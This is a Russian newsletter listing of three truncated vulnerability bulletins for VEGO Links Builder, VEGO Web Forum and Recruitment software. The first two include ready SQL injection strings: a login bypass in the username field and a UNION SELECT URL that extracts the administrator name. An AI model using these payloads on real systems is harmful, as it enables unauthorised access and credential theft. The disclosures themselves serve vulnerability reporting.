Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в VEGO Links Builder.
Информационный Канал Subscribe.Ru Компьютер для продвинутых пользователей Содержание: VEGO Links Builder ПО: VEGO Links Builder Версия: 2.0 Описание: Уязвимость скрипт: login.php Уязвимость находится в $username и позволит ввести SQL-инъекцию. Обязательно: magic_quotes_gpc = off Ссылка: http://host/links/login.php username: a' or 'a'a'/* password: anypassword VEGO Links Builder Рассылка создана и ведется при поддержке Информационной сети Пермского края . Subscribe.Ru Поддержка подписчиков Другие рассылки э...
Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в VEGO Web Forum.
Информационный Канал Subscribe.Ru Компьютер для продвинутых пользователей Содержание: WEGO Veb Forum ПО: WEGO Veb Forum Версия: 1.26 Описание: Уязвимости находятся в: php/functions.php php/functions_update.php php/functions_display.php Уязвимость находится в theme_id и позволит ввести SQL-инъекцию. Для получения административного имени пользователя: http://hostname/webforum/index.php? theme_id-1% 20union%20select% 201,2,name, 4,5%20from% 20vwf_users% 20where%20userid=1/* Для получения хеш пароля администра...
Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в Recruitment.
Информационный Канал Subscribe.Ru Компьютер для продвинутых пользователей Содержание: Recruitment ПО: Recruitment О Recruitment: Recruitment Software - это бесплатный полностью основанный на веб-технологиях продукт. Улучшенное использование технологий администрации дает вам полный контроль над вашими рабочими листами. Продукт был проверен в нескольких институтах. Описание: По-умолчанию устанавливается разрешение на чтение MySQL базы данных любым пользователем. При модификации URL показывает нам XML файл с ...